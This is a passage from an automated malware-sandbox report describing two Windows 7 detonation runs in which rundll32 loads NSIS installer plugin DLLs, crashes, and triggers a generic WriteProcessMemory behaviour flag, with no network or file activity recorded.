| PID 3040 wrote to memory of 2144 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 3040 wrote to memory of 2144 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 3040 wrote to memory of 2144 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
Processes
C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\BgImage.dll,#1
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\BgImage.dll,#1
Network
Files
Analysis: behavioral5
Detonation Overview
Submitted
2024-07-10 08:38
Reported
2024-07-10 08:40
Platform
win7-20240708-en
Max time kernel
118s
Max time network
120s
Command Line
Signatures
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\rundll32.exe |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\UserInfo.dll,#1
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\UserInfo.dll,#1
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 220
Network
Files
Analysis: behavioral7
Detonation Overview
Submitted
2024-07-10 08:38
Reported
2024-07-10 08:40
Platform
win7-20240708-en
Max time kernel
117s
Max time network
120s
Command Line
Signatures
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsDialogs.dll,#1
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsDialogs.dll,#1
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2180 -s 240